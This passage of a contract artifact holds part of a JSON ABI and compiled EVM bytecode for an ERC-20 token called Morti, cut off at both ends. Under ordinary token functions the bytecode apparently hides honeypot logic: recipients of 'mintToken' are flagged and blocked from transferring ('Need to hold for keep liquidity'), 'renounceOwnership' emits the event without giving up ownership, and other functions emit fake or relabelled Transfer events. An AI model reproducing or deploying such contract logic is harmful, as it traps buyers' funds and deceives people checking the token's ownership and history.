ty":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"chageNameAndSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getChainID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"listRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mintToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"riap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMinTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600581526020017f4d6f727469000000000000000000000000000000000000000000000000000000815250600890816200004a919062000e0e565b506040518060400160405280600581526020017f4d4f5254490000000000000000000000000000000000000000000000000000008152506009908162000091919062000e0e565b503480156200009f57600080fd5b5060405162004015380380620040158339818101604052810190620000c5919062000f90565b3360088054620000d59062000bfd565b80601f0160208091040260200160405190810160405280929190818152602001828054620001039062000bfd565b8015620001545780601f10620001285761010080835404028352916020019162000154565b820191906000526020600020905b8154815290600101906020018083116200013657829003601f168201915b505050505060098054620001689062000bfd565b80601f0160208091040260200160405190810160405280929190818152602001828054620001969062000bfd565b8015620001e75780601f10620001bb57610100808354040283529160200191620001e7565b820191906000526020600020905b815481529060010190602001808311620001c957829003601f168201915b505050505033848360039081620001ff919062000e0e565b50826004908162000211919062000e0e565b5081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200030d5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000304919062000fe8565b60405180910390fd5b6200031e816200039160201b60201c565b506200033133836200045760201b60201c565b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050620011f5565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004cc5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620004c3919062000fe8565b60405180910390fd5b620004e060008383620004e460201b60201c565b5050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161562000550576200054a8383836200074960201b60201c565b62000744565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015620005f55750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b62000637576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200062e9062001066565b60405180910390fd5b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620006ad57620006a68484846200074960201b60201c565b5062000744565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200072f57620007168484846200074960201b60201c565b62000728600162000b4560201b60201c565b5062000744565b620007428484846200074960201b60201c565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200079f578060026000828254620007929190620010b7565b9250508190555062000875565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200082e578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620008259392919062001103565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008c057806002600082825403925050819055506200090d565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620009f257600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009e4919062001140565b60405180910390a362000b40565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ad7578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000ac9919062001140565b60405180910390a362000b3f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b36919062001140565b60405180910390a35b5b505050565b60003a90508181111562000b90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b8790620011d3565b60405180910390fd5b5050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c1657607f821691505b60208210810362000c2c5762000c2b62000bce565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c967fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c57565b62000ca2868362000c57565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cef62000ce962000ce38462000cba565b62000cc4565b62000cba565b9050919050565b6000819050919050565b62000d0b8362000cce565b62000d2362000d1a8262000cf6565b84845462000c64565b825550505050565b600090565b62000d3a62000d2b565b62000d4781848462000d00565b505050565b5b8181101562000d6f5762000d6360008262000d30565b60018101905062000d4d565b5050565b601f82111562000dbe5762000d888162000c32565b62000d938462000c47565b8101602085101562000da3578190505b62000dbb62000db28562000c47565b83018262000d4c565b50505b505050565b600082821c905092915050565b600062000de36000198460080262000dc3565b1980831691505092915050565b600062000dfe838362000dd0565b9150826002028217905092915050565b62000e198262000b94565b67ffffffffffffffff81111562000e355762000e3462000b9f565b5b62000e41825462000bfd565b62000e4e82828562000d73565b600060209050601f83116001811462000e86576000841562000e71578287015190505b62000e7d858262000df0565b86555062000eed565b601f19841662000e968662000c32565b60005b8281101562000ec05784890151825560018201915060208501945060208101905062000e99565b8683101562000ee0578489015162000edc601f89168262000dd0565b8355505b6001600288020188555050505b505050505050565b600080fd5b62000f058162000cba565b811462000f1157600080fd5b50565b60008151905062000f258162000efa565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f588262000f2b565b9050919050565b62000f6a8162000f4b565b811462000f7657600080fd5b50565b60008151905062000f8a8162000f5f565b92915050565b6000806040838503121562000faa5762000fa962000ef5565b5b600062000fba8582860162000f14565b925050602062000fcd8582860162000f79565b9150509250929050565b62000fe28162000f4b565b82525050565b600060208201905062000fff600083018462000fd7565b92915050565b600082825260208201905092915050565b7f4e65656420746f20686f6c6420666f72206b656570206c697175696469747900600082015250565b60006200104e601f8362001005565b91506200105b8262001016565b602082019050919050565b6000602082019050818103600083015262001081816200103f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620010c48262000cba565b9150620010d18362000cba565b9250828201905080821115620010ec57620010eb62001088565b5b92915050565b620010fd8162000cba565b82525050565b60006060820190506200111a600083018662000fd7565b620011296020830185620010f2565b620011386040830184620010f2565b949350505050565b6000602082019050620011576000830184620010f2565b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000620011bb60278362001005565b9150620011c8826200115d565b604082019050919050565b60006020820190508181036000830152620011ee81620011ac565b9050919050565b612e1080620012056000396000f3fe608060405234801561001057600080fd5b506004361061023d5760003560e01c80636c02a9311161013b578063a9059cbb116100b8578063daea85c51161007c578063daea85c51461064a578063dd62ed3e14610666578063e086e5ec14610696578063efc21e3f146106a0578063f2fde38b146106be5761023d565b8063a9059cbb146105a4578063aac03939146105d4578063b839a80e146105f2578063cc1776d31461060e578063cc2b78581461062c5761023d565b80638ba4cc3c116100ff5780638ba4cc3c146105245780638da5cb5b1461054057806395d89b411461055e5780639e78fb4f1461057c5780639f5fa028146105865761023d565b80636c02a9311461049257806370a08231146104b0578063715018a6146104e057806379c65068146104ea5780637b61c320146105065761023d565b806323b872dd116101c95780634c97f4721161018d5780634c97f472146104005780634f7041a51461041c578063564b81ef1461043a578063593ed58c1461045857806362256589146104885761023d565b806323b872dd1461035a5780632711b8a51461038a578063313ce567146103a85780633de4b85c146103c65780634022b75e146103e45761023d565b8063109daa9911610210578063109daa99146102c857806311894780146102d25780631641f1ba146102f057806318160ddd1461030c5780631e7be2101461032a5761023d565b8063068acf6c1461024257806306fdde031461025e57806307980cb91461027c578063095ea7b314610298575b600080fd5b61025c60048036038101906102579190612125565b6106da565b005b6102666107e3565b60405161027391906121e2565b60405180910390f35b61029660048036038101906102919190612125565b610875565b005b6102b260048036038101906102ad919061223a565b6108c1565b6040516102bf9190612295565b60405180910390f35b6102d06108e4565b005b6102da61092a565b6040516102e791906122bf565b60405180910390f35b61030a600480360381019061030591906122da565b610931565b005b610314610973565b60405161032191906122bf565b60405180910390f35b610344600480360381019061033f9190612125565b61097d565b6040516103519190612295565b60405180910390f35b610374600480360381019061036f9190612307565b61099d565b6040516103819190612295565b60405180910390f35b6103926109cc565b60405161039f91906122bf565b60405180910390f35b6103b06109d5565b6040516103bd9190612376565b60405180910390f35b6103ce6109de565b6040516103db91906122bf565b60405180910390f35b6103fe60048036038101906103f9919061259c565b6109e4565b005b61041a600480360381019061041591906126dc565b610aaa565b005b610424610ad6565b60405161043191906122bf565b60405180910390f35b610442610adc565b60405161044f91906122bf565b60405180910390f35b610472600480360381019061046d91906122da565b610ae9565b60405161047f9190612763565b60405180910390f35b610490610b1c565b005b61049a610b62565b6040516104a791906121e2565b60405180910390f35b6104ca60048036038101906104c59190612125565b610bf0565b6040516104d791906122bf565b60405180910390f35b6104e8610c38565b005b61050460048036038101906104ff919061223a565b610ca4565b005b61050e610d1a565b60405161051b91906121e2565b60405180910390f35b61053e6004803603810190610539919061223a565b610da8565b005b610548610e1e565b6040516105559190612763565b60405180910390f35b610566610e48565b60405161057391906121e2565b60405180910390f35b610584610eda565b005b61058e611118565b60405161059b91906122bf565b60405180910390f35b6105be60048036038101906105b9919061223a565b61111d565b6040516105cb9190612295565b60405180910390f35b6105dc611140565b6040516105e99190612763565b60405180910390f35b61060c600480360381019061060791906122da565b611166565b005b6106166111a8565b60405161062391906122bf565b60405180910390f35b6106346111ae565b60405161064191906122bf565b60405180910390f35b610664600480360381019061065f9190612125565b6111b4565b005b610680600480360381019061067b919061277e565b611217565b60405161068d91906122bf565b60405180910390f35b61069e61129e565b005b6106a86112ef565b6040516106b591906122bf565b60405180910390f35b6106d860048036038101906106d39190612125565b6112f5565b005b6106e261137b565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161071d9190612763565b602060405180830381865afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e91906127d3565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161079b929190612800565b6020604051808303816000875af11580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de9190612855565b505050565b6060600880546107f2906128b1565b80601f016020809104026020016040519081016040528092919081815260200182805461081e906128b1565b801561086b5780601f106108405761010080835404028352916020019161086b565b820191906000526020600020905b81548152906001019060200180831161084e57829003601f168201915b5050505050905090565b61087d61137b565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806108cc611402565b90506108d981858561140a565b600191505092915050565b6108ec61137b565b6000600d819055506000600c819055507f80de050b85d3a75cad8a3df5e178576f5df5879cad768c7b5600fa00770f2c7c60405160405180910390a1565b62013e3181565b61093961137b565b7fd3b613dda5c9cdfd44a8f58e5198dec35a31f7f9d39dec2fd6b532e47989c7b98160405161096891906122bf565b60405180910390a150565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000806109a8611402565b90506109b585828561141c565b6109c08585856114b0565b60019150509392505050565b60006003905090565b60006012905090565b61a86a81565b6109ec61137b565b60005b8251811015610aa457828181518110610a0b57610a0a6128e2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a7457610a736128e2565b5b6020026020010151604051610a8991906122bf565b60405180910390a38080610a9c90612940565b9150506109ef565b50505050565b610ab261137b565b8160089081610ac19190612b34565b508060099081610ad19190612b34565b505050565b600d5481565b6000804690508091505090565b600e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b2461137b565b6000600d819055506000600c819055507f2d53e1bd10978dd02f36cd1d3680151195d9f7358e0c867bc753abecafb55e4360405160405180910390a1565b60088054610b6f906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9b906128b1565b8015610be85780601f10610bbd57610100808354040283529160200191610be8565b820191906000526020600020905b815481529060010190602001808311610bcb57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c4061137b565b600073ffffffffffffffffffffffffffffffffffffffff16610c60610e1e565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610cac61137b565b610cbe610cb7610e1e565b83836114b0565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60098054610d27906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610d53906128b1565b8015610da05780601f10610d7557610100808354040283529160200191610da0565b820191906000526020600020905b815481529060010190602001808311610d8357829003601f168201915b505050505081565b610db061137b565b610dc2610dbb610e1e565b83836114b0565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610e57906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610e83906128b1565b8015610ed05780601f10610ea557610100808354040283529160200191610ed0565b820191906000526020600020905b815481529060010190602001808311610eb357829003601f168201915b5050505050905090565b610ee261137b565b610eea6115a4565b6000610ef4610adc565b9050600080600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303610fae578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa79190612c1b565b9150611020565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ff9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101d9190612c1b565b91505b60008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561106d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110919190612c1b565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630856040518363ffffffff1660e01b81526004016110ce929190612c48565b6020604051808303816000875af11580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111119190612c1b565b5050505050565b600181565b600080611128611402565b90506111358185856114b0565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61116e61137b565b7f0d61b965947cabd8d137e76c38fd92e63d79b181830e0918b69794938355febd8160405161119d91906122bf565b60405180910390a150565b600c5481565b61a4b181565b6111bc61137b565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112a661137b565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156112ec573d6000803e3d6000fd5b50565b61210581565b6112fd61137b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136f5760006040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016113669190612763565b60405180910390fd5b611378816117ae565b50565b611383611402565b73ffffffffffffffffffffffffffffffffffffffff166113a1610e1e565b73ffffffffffffffffffffffffffffffffffffffff1614611400576113c4611402565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016113f79190612763565b60405180910390fd5b565b600033905090565b6114178383836001611874565b505050565b60006114288484611217565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114aa578181101561149a578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161149193929190612c71565b60405180910390fd5b6114a984848484036000611874565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115225760006040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016115199190612763565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115945760006040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161158b9190612763565b60405180910390fd5b61159f838383611a4b565b505050565b73f164fc0ec4e93095b804a4795bbe1e041497b92a600e60006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e6000612105815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d4600e600061a86a815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507398994a9a7a2570367554589189dc9772241650f6600e600062013e31815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e600061a4b1815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036118e65760006040517fe602df050000000000000000000000000000000000000000000000000000000081526004016118dd9190612763565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119585760006040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161194f9190612763565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508015611a45578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611a3c91906122bf565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611aad57611aa8838383611c7e565b611c79565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b515750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790612cf4565b60405180910390fd5b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611bfc57611bf6848484611c7e565b50611c79565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c57611c5c848484611c7e565b611c666001612067565b50611c79565b611c77848484611c7e565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cd0578060026000828254611cc49190612d14565b92505081905550611da3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d5c578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611d5393929190612c71565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dec5780600260008282540392505081905550611e39565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f1a57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f0d91906122bf565b60405180910390a3612062565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ffb578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fee91906122bf565b60405180910390a3612061565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161205891906122bf565b60405180910390a35b5b505050565b60003a9050818111156120af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a690612dba565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120f2826120c7565b9050919050565b612102816120e7565b811461210d57600080fd5b50565b60008135905061211f816120f9565b92915050565b60006020828403121561213b5761213a6120bd565b5b600061214984828501612110565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561218c578082015181840152602081019050612171565b60008484015250505050565b6000601f19601f8301169050919050565b60006121b482612152565b6121be818561215d565b93506121ce81856020860161216e565b6121d781612198565b840191505092915050565b600060208201905081810360008301526121fc81846121a9565b905092915050565b6000819050919050565b61221781612204565b811461222257600080fd5b50565b6000813590506122348161220e565b92915050565b60008060408385031215612251576122506120bd565b5b600061225f85828601612110565b925050602061227085828601612225565b9150509250929050565b60008115159050919050565b61228f8161227a565b82525050565b60006020820190506122aa6000830184612286565b92915050565b6122b981612204565b82525050565b60006020820190506122d460008301846122b0565b92915050565b6000602082840312156122f0576122ef6120bd565b5b60006122fe84828501612225565b91505092915050565b6000806000606084860312156123205761231f6120bd565b5b600061232e86828701612110565b935050602061233f86828701612110565b925050604061235086828701612225565b9150509250925092565b600060ff82169050919050565b6123708161235a565b82525050565b600060208201905061238b6000830184612367565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123ce82612198565b810181811067ffffffffffffffff821117156123ed576123ec612396565b5b80604052505050565b60006124006120b3565b905061240c82826123c5565b919050565b600067ffffffffffffffff82111561242c5761242b612396565b5b602082029050602081019050919050565b600080fd5b600061245561245084612411565b6123f6565b905080838252602082019050602084028301858111156124785761247761243d565b5b835b818110156124a1578061248d8882612110565b84526020840193505060208101905061247a565b5050509392505050565b600082601f8301126124c0576124bf612391565b5b81356124d08482